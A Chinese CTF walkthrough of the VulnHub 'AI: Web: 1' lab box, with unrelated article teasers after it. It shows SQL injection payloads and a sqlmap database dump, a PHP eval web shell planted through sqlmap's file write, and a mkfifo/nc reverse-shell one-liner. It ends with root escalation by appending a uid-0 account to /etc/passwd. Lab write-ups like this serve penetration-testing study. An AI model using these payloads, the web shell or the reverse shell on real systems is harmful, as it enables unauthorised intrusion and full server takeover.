【靶机渗透实战】AI:WEB:1

靶机下载官网AI: Web: 1 ~ VulnHub

靶机描述

Difficulty: IntermediateNetwork: DHCP (Automatically assign)Network Mode: NATThis box is designed to test skills of penetration tester. The goal is simple. Get flag from /root/flag.txt. Enumerate the box, get low privileged shell and then escalate privilege to root. For any hint please tweet on @arif_xpress

难度:中级
网络:DHCP(自动分配)
网络模式:NAT

这个盒子旨在测试渗透测试人员的技能。目标很简单。从/root/flag.txt中获取标志(flag)。对盒子进行枚举,获取低权限的shell,然后将权限提升到root。如需任何提示,请在推特上关注@arif_xpress。

靶机界面

信息收集

主机发现

┌──(kali💋kali)-[~]
└─$ sudo nmap -sP 10.4.7.0/24 -oN nmap.sP      
Starting Nmap 7.93 ( https://nmap.org ) at 2025-02-12 11:51 CST
Nmap scan report for 10.4.7.2
Host is up (0.00024s latency).
MAC Address: 00:50:56:E0:20:34 (VMware)
Nmap scan report for 10.4.7.179
Host is up (0.00064s latency).
MAC Address: 00:0C:29:42:F7:5E (VMware)
Nmap scan report for 10.4.7.254
Host is up (0.0015s latency).
MAC Address: 00:50:56:E4:E4:95 (VMware)
Nmap scan report for 10.4.7.139
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 1.98 seconds

端口扫描

┌──(kali💋kali)-[~]
└─$ sudo nmap -A -T4 -sC -p- -sT 10.4.7.179 -oN nmap.A                                                  
Starting Nmap 7.93 ( https://nmap.org ) at 2025-02-12 11:55 CST
Nmap scan report for 10.4.7.179
Host is up (0.00052s latency).
Not shown: 65534 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd
|_http-title: AI Web 1.0
| http-robots.txt: 2 disallowed entries
|_/m3diNf0/ /se3reTdir777/uploads/
|_http-server-header: Apache
MAC Address: 00:0C:29:42:F7:5E (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.52 ms 10.4.7.179

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.68 seconds

网站信息

网站首页

nikto 报告

┌──(kali💋kali)-[~]
└─$ nikto -h http://10.4.7.179/                                                                          130 ⨯
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          10.4.7.179
+ Target Hostname:    10.4.7.179
+ Target Port:        80
+ Start Time:         2025-02-12 12:35:32 (GMT8)
---------------------------------------------------------------------------
+ Server: Apache
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /robots.txt: contains 2 entries which should be manually viewed. See: https://developer.mozilla.org/en-US/docs/Glossary/Robots.txt
+ /: Server may leak inodes via ETags, header found with file /, inode: 8d, size: 590703a18e440, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD .
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ 8104 requests: 0 error(s) and 4 item(s) reported on remote host
+ End Time:           2025-02-12 12:39:25 (GMT8) (233 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

robots.txt

Disallow: /m3diNf0/
Disallow: /se3reTdir777/uploads/

/se3reTdir777/目录

 敏感目录扫描

/m3diNf0/目录扫描

dirb扫描器

┌──(kali💋kali)-[~]
└─$ dirb http://10.4.7.179/m3diNf0/                                                                        1 ⨯

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Wed Feb 12 12:47:36 2025
URL_BASE: http://10.4.7.179/m3diNf0/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://10.4.7.179/m3diNf0/ ----
+ http://10.4.7.179/m3diNf0/info.php (CODE:200|SIZE:84260)                                                    
                                                                                                              
-----------------
END_TIME: Wed Feb 12 12:47:40 2025
DOWNLOADED: 4612 - FOUND: 1

dirsearch扫描器

扫出了/info.php

提取敏感信息

User/Group      www-data(33)/33 
DOCUMENT_ROOT   /home/www/html/web1x443290o2sdf92213

 se3reTdir777 目录扫描

┌──(kali💋kali)-[~]
└─$ dirb http://10.4.7.179/se3reTdir777/                          

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Wed Feb 12 16:17:39 2025
URL_BASE: http://10.4.7.179/se3reTdir777/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://10.4.7.179/se3reTdir777/ ----
+ http://10.4.7.179/se3reTdir777/index.php (CODE:200|SIZE:1228)                                               
==> DIRECTORY: http://10.4.7.179/se3reTdir777/uploads/                                                        
                                                                                                              
---- Entering directory: http://10.4.7.179/se3reTdir777/uploads/ ----
                                                                                                              
-----------------
END_TIME: Wed Feb 12 16:17:46 2025
DOWNLOADED: 9224 - FOUND: 1

找到切入点

找到提交参数,使用sqlmap找到漏洞

sudo sqlmap -u http://10.4.7.179/se3reTdir777/ -data "uid=1&Operation=Submit"

注入点信息

  • 参数uid(POST 请求方式)
  • 总请求数:3940 个 HTTP (s) 请求

不同类型的注入分析

1. 布尔盲注(boolean - based blind)
  • 类型描述:基于布尔条件的盲注,通常利用 SQL 语句中的布尔表达式判断条件真假来获取信息,一般在 WHERE 或 HAVING 子句中使用。
  • 标题OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
  • Payloaduid=1' OR NOT 1507=1507#&Operation=Submit
    • 原理:在原始 SQL 语句中,1' 用于闭合可能存在的单引号,OR NOT 1507=1507 是一个恒为真的布尔表达式,# 是 MySQL 中的注释符,用于注释掉原 SQL 语句中剩余部分,避免语法错误。通过观察页面响应的不同(如页面返回状态、内容长度等)来判断条件真假,逐步获取数据库信息。
2. 错误回显注入(error - based)
  • 类型描述:利用数据库在执行错误 SQL 语句时返回的错误信息来获取数据库相关信息,通常在 WHERE、HAVING、ORDER BY 或 GROUP BY 子句中使用。
  • 标题MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
  • Payloaduid=1' AND GTID_SUBSET(CONCAT(0x71626b7171,(SELECT (ELT(6293=6293,1))),0x7176766a71),6293)-- IvZq&Operation=Submit
    • 原理1' 用于闭合单引号,AND 连接后续条件,GTID_SUBSET 是 MySQL 5.6 及以上版本的一个函数,CONCAT 用于拼接字符串,ELT 函数根据条件判断返回结果。当执行该 SQL 语句时,如果数据库版本支持且语法错误,会返回包含我们构造信息的错误信息,从而获取数据库信息。-- IvZq 是注释部分,用于注释掉原 SQL 语句剩余部分。
3. 时间盲注(time - based blind)
  • 类型描述:基于时间延迟的盲注,通过让数据库执行 SLEEP 函数来判断条件真假。如果条件为真,数据库会暂停执行一段时间,根据页面响应时间的变化来获取信息。
  • 标题MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  • Payloaduid=1' AND (SELECT 2955 FROM (SELECT(SLEEP(5)))xmho)-- vIYW&Operation=Submit
    • 原理1' 闭合单引号,AND 连接条件,SELECT(SLEEP(5)) 会让数据库暂停 5 秒。如果页面响应时间明显增加,说明条件为真,反之则为假。通过多次尝试不同条件,逐步获取数据库信息。-- vIYW 是注释部分。
4. UNION 查询注入(UNION query)
  • 类型描述:利用 SQL 的 UNION 操作符将原查询结果和我们构造的查询结果合并,从而获取数据库信息。
  • 标题MySQL UNION query (NULL) - 3 columns
  • Payloaduid=1' UNION ALL SELECT NULL,NULL,CONCAT(0x71626b7171,0x4d4b6756554276745a59427a6659506e676c564767696245466d67745a7669595075564c73516642,0x7176766a71)#&Operation=Submit
    • 原理1' 闭合单引号,UNION ALL 用于合并查询结果,SELECT NULL,NULL,CONCAT(...) 是我们构造的查询语句,需要保证列数与原查询结果一致(这里是 3 列)。CONCAT 函数用于拼接字符串,我们可以通过修改拼接内容来获取不同的数据库信息。# 是注释符,用于注释掉原 SQL 语句剩余部分

SQLI漏洞利用

sudo sqlmap -u http://10.4.7.179/se3reTdir777/ -data "uid=1&Operation=Submit" --current-db

┌──(kali💋kali)-[~]
└─$ sudo sqlmap -u http://10.4.7.179/se3reTdir777/ -data "uid=1&Operation=Submit" --current-db
        ___
       __H__                                                                                                   
 ___ ___[.]_____ ___ ___  {1.7.2#stable}                                                                       
|_ -| . [)]     | .'| . |                                                                                      
|___|_  ["]_|_|_|__,|  _|                                                                                      
      |_|V...       |_|   https://sqlmap.org                                                                   

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 17:54:10 /2025-02-12/

[17:54:10] [INFO] resuming back-end DBMS 'mysql'
[17:54:10] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: uid (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
    Payload: uid=1' OR NOT 1507=1507#&Operation=Submit

    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: uid=1' AND GTID_SUBSET(CONCAT(0x71626b7171,(SELECT (ELT(6293=6293,1))),0x7176766a71),6293)-- IvZq&Operation=Submit

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: uid=1' AND (SELECT 2955 FROM (SELECT(SLEEP(5)))xmho)-- vIYW&Operation=Submit

    Type: UNION query
    Title: MySQL UNION query (NULL) - 3 columns
    Payload: uid=1' UNION ALL SELECT NULL,NULL,CONCAT(0x71626b7171,0x4d4b6756554276745a59427a6659506e676c564767696245466d67745a7669595075564c73516642,0x7176766a71)#&Operation=Submit
---
[17:54:10] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL >= 5.6
[17:54:10] [INFO] fetching current database
current database: 'aiweb1'
[17:54:10] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/10.4.7.179'
[17:54:10] [WARNING] your sqlmap version is outdated

[*] ending @ 17:54:10 /2025-02-12/

 获取到库名aiweb1

sudo sqlmap -u http://10.4.7.179/se3reTdir777/ -data "uid=1&Operation=Submit" -D "aiweb1" --tables

┌──(kali💋kali)-[~]
└─$ sudo sqlmap -u http://10.4.7.179/se3reTdir777/ -data "uid=1&Operation=Submit" -D "aiweb1" --tables
        ___
       __H__                                                                                                   
 ___ ___[(]_____ ___ ___  {1.7.2#stable}                                                                       
|_ -| . [)]     | .'| . |                                                                                      
|___|_  ["]_|_|_|__,|  _|                                                                                      
      |_|V...       |_|   https://sqlmap.org                                                                   

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 17:57:21 /2025-02-12/

[17:57:21] [INFO] resuming back-end DBMS 'mysql'
[17:57:21] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: uid (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
    Payload: uid=1' OR NOT 1507=1507#&Operation=Submit

    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: uid=1' AND GTID_SUBSET(CONCAT(0x71626b7171,(SELECT (ELT(6293=6293,1))),0x7176766a71),6293)-- IvZq&Operation=Submit

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: uid=1' AND (SELECT 2955 FROM (SELECT(SLEEP(5)))xmho)-- vIYW&Operation=Submit

    Type: UNION query
    Title: MySQL UNION query (NULL) - 3 columns
    Payload: uid=1' UNION ALL SELECT NULL,NULL,CONCAT(0x71626b7171,0x4d4b6756554276745a59427a6659506e676c564767696245466d67745a7669595075564c73516642,0x7176766a71)#&Operation=Submit
---
[17:57:21] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL >= 5.6
[17:57:21] [INFO] fetching tables for database: 'aiweb1'
Database: aiweb1
[2 tables]
+------------+
| user       |
| systemUser |
+------------+

[17:57:21] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/10.4.7.179'
[17:57:21] [WARNING] your sqlmap version is outdated

[*] ending @ 17:57:21 /2025-02-12/

sudo sqlmap -u http://10.4.7.179/se3reTdir777/ -data "uid=1&Operation=Submit" -D "aiweb1" --dump 

┌──(kali💋kali)-[~]
└─$ sudo sqlmap -u http://10.4.7.179/se3reTdir777/ -data "uid=1&Operation=Submit" -D "aiweb1" --dump          
        ___
       __H__                                                                                                   
 ___ ___[(]_____ ___ ___  {1.7.2#stable}                                                                       
|_ -| . ["]     | .'| . |                                                                                      
|___|_  ["]_|_|_|__,|  _|                                                                                      
      |_|V...       |_|   https://sqlmap.org                                                                   

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 17:59:20 /2025-02-12/

[17:59:20] [INFO] resuming back-end DBMS 'mysql'
[17:59:20] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: uid (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
    Payload: uid=1' OR NOT 1507=1507#&Operation=Submit

    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: uid=1' AND GTID_SUBSET(CONCAT(0x71626b7171,(SELECT (ELT(6293=6293,1))),0x7176766a71),6293)-- IvZq&Operation=Submit

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: uid=1' AND (SELECT 2955 FROM (SELECT(SLEEP(5)))xmho)-- vIYW&Operation=Submit

    Type: UNION query
    Title: MySQL UNION query (NULL) - 3 columns
    Payload: uid=1' UNION ALL SELECT NULL,NULL,CONCAT(0x71626b7171,0x4d4b6756554276745a59427a6659506e676c564767696245466d67745a7669595075564c73516642,0x7176766a71)#&Operation=Submit
---
[17:59:21] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL >= 5.6
[17:59:21] [INFO] fetching tables for database: 'aiweb1'
[17:59:21] [INFO] fetching columns for table 'user' in database 'aiweb1'
[17:59:21] [INFO] fetching entries for table 'user' in database 'aiweb1'
Database: aiweb1
Table: user
[3 entries]
+----+----------+-----------+
| id | lastName | firstName |
+----+----------+-----------+
| 1  | admin    | admin     |
| 2  | root     | root      |
| 3  | mysql    | mysql     |
+----+----------+-----------+

拿到数据,数据为账号密码

使用sqlmap写入木马

撰写木马

┌──(kali💋kali)-[~]
└─$ vim yjh.php                                                                                     
                                                                                                               
┌──(kali💋kali)-[~]
└─$ cat yjh.php             
<?php
@eval($_REQUEST[777]);
?>

结合上面的DOCUMENT_ROOT   /home/www/html/web1x443290o2sdf92213 

sqlmap -u "http://10.4.7.179/se3reTdir777/" --data "uid=1&Operation=Submit" --file-write ./yjh.php --file-dest /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/shell.php

┌──(kali💋kali)-[~]
└─$ sudo sqlmap -u http://10.4.7.179/se3reTdir777/ -data "uid=1&Operation=Submit" --file-write ./yjh.php --file-dest /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/shell.php
[sudo] password for kali:
        ___
       __H__                                                                                                   
 ___ ___[.]_____ ___ ___  {1.7.2#stable}                                                                       
|_ -| . [,]     | .'| . |                                                                                      
|___|_  [.]_|_|_|__,|  _|                                                                                      
      |_|V...       |_|   https://sqlmap.org                                                                   

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 09:31:34 /2025-02-13/

[09:31:34] [INFO] resuming back-end DBMS 'mysql'
[09:31:34] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: uid (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
    Payload: uid=1' OR NOT 1507=1507#&Operation=Submit

    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: uid=1' AND GTID_SUBSET(CONCAT(0x71626b7171,(SELECT (ELT(6293=6293,1))),0x7176766a71),6293)-- IvZq&Operation=Submit

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: uid=1' AND (SELECT 2955 FROM (SELECT(SLEEP(5)))xmho)-- vIYW&Operation=Submit

    Type: UNION query
    Title: MySQL UNION query (NULL) - 3 columns
    Payload: uid=1' UNION ALL SELECT NULL,NULL,CONCAT(0x71626b7171,0x4d4b6756554276745a59427a6659506e676c564767696245466d67745a7669595075564c73516642,0x7176766a71)#&Operation=Submit
---
[09:31:34] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL >= 5.6
[09:31:34] [INFO] fingerprinting the back-end DBMS operating system
[09:31:34] [INFO] the back-end DBMS operating system is Linux
[09:31:34] [WARNING] expect junk characters inside the file as a leftover from UNION query
do you want confirmation that the local file 'yjh.php' has been successfully written on the back-end DBMS file system ('/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/shell.php')? [Y/n] y
[09:31:44] [INFO] the remote file '/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/shell.php' is larger (35 B) than the local file 'yjh.php' (33B)
[09:31:44] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/10.4.7.179'
[09:31:44] [WARNING] your sqlmap version is outdated

[*] ending @ 09:31:44 /2025-02-13/

中国蚁剑连接

密码777

获取目录并拿到shell

反弹shell

本地监听

┌──(kali kali)-[~/Documents/AI_WEB_1]
└─$ nc -lnvp 1234              
listening on [any] 1234 ...

服务器上执行

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.9 1234 >/tmp/f

进入交互式Shell

$ python -c 'import pty;pty.spawn("/bin/bash")'
www-data@aiweb1:/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads$

查看目前身份权限

提权

全局寻找可写文件夹、文件
find / -writable -type d 2>/dev/null #文件夹
find / -writable -type f 2>/dev/null #文件

我们可以发现/etc/passwd文件有普通用户写权限

ls -la /etc/passwd

利用/etc/passwd提权 

 www-data@aiweb1:/etc$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
....
aiweb1pwn:x:1001:1001::/home/aiweb1pwn:/bin/sh

对root:x:0:0:root:/root:/bin/bash进行分析

root表示用户名;x表示密码hash,0表示用户ID,0表示用户组ID,/root表示用户相关信息,/bin/bash表示该用户使用何种shell执行命令

生成一个用户密码

向 /etc/passwd中写入一个用户

echo ajest:ajrFVgiA9Y9gw:0:0:root:/root:/bin/bash >> /etc/passwd
su ajest #切换用户

拿到 flag

┌──(kali💋kali)-[/dev]
└─$ nc -lnvp 1234                                            1 ⨯
listening on [any] 1234 ...
connect to [10.4.7.139] from (UNKNOWN) [10.4.7.179] 41696
/bin/sh: 0: can't access tty; job control turned off
$ python -c 'import pty;pty.spawn("/bin/bash")'
www-data@aiweb1:/$ su ajest
su ajest
Password: 123456

root@aiweb1:/# cat /root/flag.txt
cat /root/flag.txt
####################################################
#                                                  #
#                AI: WEB 1.0                       #
#                                                  #
#              Congratulation!!!                   #
#                                                  #
#      Thank you for penetrate my system.          #
#                                                  #
#            Hope you enjoyed this.                #
#                                                  #
#                                                  #
#  flag{cbe5831d864cbc2a104e2c2b9dfb50e5acbdee71}  #
#                                                  #
####################################################
root@aiweb1:/# ^C

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/69950.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

MATLAB中contains函数用法

目录 语法 说明 示例 查找文本 使用模式进行搜索 匹配列表中的任何文本 忽略大小写 确定字符向量中是否包含子字符串 contains函数的功能是确定字符串中是否有模式。 语法 TF contains(str,pat) TF contains(str,pat,IgnoreCase,true) 说明 如果 str 包含指定的模…

【limit 1000000,10 加载很慢该怎么优化?】

在 SQL 数据库中,使用 LIMIT 子句进行分页查询时,如果偏移量(offset)很大,查询性能可能会变得非常差。 这是因为数据库需要扫描和跳过大量的记录才能到达所需的起始位置,然后再取出所需的记录数。 例如,LIMIT 1000000, 10 表示跳过前 100 万条记录,然后取接下来的 10…

Python基于 Flask 创建简单Web服务并接收文件

在全部网口上创建web服务, 监听8080端口关闭debug模式GET时返回HTML界面, 用于提交文件POST到 /upload 时, 从接收的 file 变量中读取文件, 并传递给 opencv 解析为 image 对象 from flask import Flask, request, redirect, url_for import os import cv2 import numpy impor…

zookeeper的zkCli.sh登录server报错【无法正常使用】

如果zookeeper使用zkCli.sh登录的时候老是频闪&#xff0c;没有办法正常使用&#xff0c;大概率是与java的版本不兼容 [zookeeperPostgreSQL bin]$ ./zkCli.sh Connecting to localhost:2181 2025-02-05 19:23:53,933 [myid:] - INFO [main:Environment100] - Client envir…

初始JavaEE篇 —— Spring Web MVC入门(下)

找往期文章包括但不限于本期文章中不懂的知识点&#xff1a; 个人主页&#xff1a;我要学编程程(ಥ_ಥ)-CSDN博客 所属专栏&#xff1a;JavaEE 初始JavaEE篇 —— Spring Web MVC入门&#xff08;上&#xff09; 在上篇文章中&#xff0c;我们学习了一些注解的使用、Postman模…

【verilog】函数clogb2的解读

最近经常看到clogb2函数。 源代码如下所示。 function integer clogb2; input [31:0] value; reg [31:0] tmp; reg [31:0] rt; begin tmp value - 1; for (rt 0; tmp > 0; rt rt 1) tmp tmp >> 1; clogb2 rt; end endfunction 这个函数的意思是&#xff1a;这段…

鸿蒙app开发中 tab 切换的时候 里面的子组件如何在页面出现的时候 就请求数据

解决方案 使用 鸿蒙提供的 onVisibleAreaChange 就是页面一出现就请求这个回调 .onVisibleAreaChange([0.0, 1.0], (isVisible: boolean, currentRatio: number) > {console.info(Test Text isVisible: isVisible , currentRatio: currentRatio)if (isVisible &am…

c/c++蓝桥杯经典编程题100道(19)质因数分解

汉诺塔问题 ->返回c/c蓝桥杯经典编程题100道-目录 目录 汉诺塔问题 一、题型解释 二、例题问题描述 三、C语言实现 解法1&#xff1a;递归法&#xff08;难度★&#xff09; 解法2&#xff1a;迭代法&#xff08;难度★★★&#xff09; 四、C实现 解法1&#xff1…

Linux:线程的互斥与同步

一、买票的线程安全 大部分情况&#xff0c;线程使用的数据都是局部变量&#xff0c;变量的地址空间在线程栈空间内&#xff0c;这种情况&#xff0c;变量归属单个线程&#xff0c;其他线程无法获得这种变量。 但有时候&#xff0c;很多变量都需要在线程间共享&#xff0c;这样…

ESP学习-1(MicroPython VSCode开发环境搭建)

下载ESP8266固件&#xff1a;https://micropython.org/download/ESP8266_GENERIC/win电脑&#xff1a;pip install esptools python.exe -m pip install --upgrade pip esptooo.py --port COM5 erase_flash //清除之前的固件 esptool --port COM5 --baud 115200 write_fla…

什么是多光谱环形光源

多光谱环形光源是一种用于机器视觉、工业检测和科学研究的光源设备&#xff0c;能够提供多种波长的光&#xff0c;适用于不同材料和表面的检测需求。以下是其关键特点和应用&#xff1a; 关键特点 多光谱输出&#xff1a;可发射多种波长的光&#xff08;如可见光、红外光、紫外…

什么是UV环形光源

UV环形光源是一种用于特定照明需求的设备&#xff0c;以下是其关键点&#xff1a; 定义 UV环形光源&#xff1a;发出紫外光的环形照明装置&#xff0c;常用于机器视觉、工业检测等领域。特点 均匀照明&#xff1a;环形设计确保光线均匀分布&#xff0c;减少阴影。 高亮度&…

泛型的原理、优点以及可能存在的问题

泛型的原理 泛型是Java引入的一种特性&#xff0c;允许在定义类、接口或方法时使用类型参数&#xff0c;从而实现对不同类型的通用操作。泛型的核心原理是类型参数化和类型擦除。 类型参数化&#xff1a;泛型允许在定义类、接口或方法时使用类型参数&#xff08;如<T>&…

Agents Go Deep 智能体深入探索

Agents Go Deep 智能体深入探索 核心事件 OpenAI发布了一款先进的智能体“深度研究”&#xff0c;它能借助网络搜索和推理生成研究报告。 最新进展 功能特性&#xff1a;该智能体依据数百个在线资源生成详细报告&#xff0c;目前仅支持文本输出&#xff0c;不过很快会增加对图…

Kubernetes (k8s) 常用指令速查表

以下是一份 Kubernetes (k8s) 常用指令速查表&#xff0c;涵盖集群管理、资源操作、故障排查等场景&#xff0c;适合日常运维和开发使用&#xff1a; 1. 集群与节点管理 命令说明kubectl cluster-info查看集群基本信息kubectl get nodes查看所有节点状态kubectl describe node…

【ubuntu24.04】 强制重启导致大模型的磁盘挂载出错

挂载NTFS文件系统出错 各种模型放在了这个机械硬盘上&#xff0c;虽然速度慢&#xff0c;但是好在容量大。大模型在工作&#xff0c;但是程序看起来有问题&#xff0c;导致系统卡死了&#xff0c;然后我重启了&#xff0c;然后报错&#xff1a;wrong fs type bad option &…

【鸿蒙开发】第三十六章 状态管理 - V1V2混用和迁移指导

目录​​​​​​​ 1 自定义组件混用场景指导 1.1 概述 1.2 状态管理装饰器总览 状态管理V1的装饰器 状态管理V2的装饰器 状态管理装饰器支持的数据类型总览 1.3 限制条件 1.3.1 V1和V2的装饰器不允许混用 1.V1的自定义组件中不可以使用V2的装饰器 2.V2的自定义组件…

1.14学习总结

日常刷题单 刷了题目后&#xff0c;对于排序方法更加熟练&#xff0c;手搓代码的速度也得到了提高。 感觉字符串还不熟练&#xff0c;高精度更是云里雾里&#xff0c;上升空间极大。 同时看见今晚有个入门难度的测试&#xff0c;去练了练手&#xff0c;想看看自己是什么成分&…

vscode环境搭建

目录 一、安装VSCode 二、安装Python 三、安装Anaconda&#xff08;可选&#xff0c;但推荐&#xff09; 四、安装深度学习相关库 五、配置VSCode 六、 结果可视化 一、安装VSCode 访问官网下载&#xff1a;从VSCode官方网站下载适合你操作系统的安装包。安装&#xff1a;运行安…

自定义解的使用,反射,代理模式

文章目录 自定义注解反射代理模式、静态代理动态代理 自定义注解 springboot 框架中定义了大量的注解&#xff0c;为什么加上注解之后就能实现配置了。比如Autowired, 将 IOC 中的对象拿出来使用。 创建自定义的注解 Target(ElementType.METHOD) //作用的目标 Retention(Re…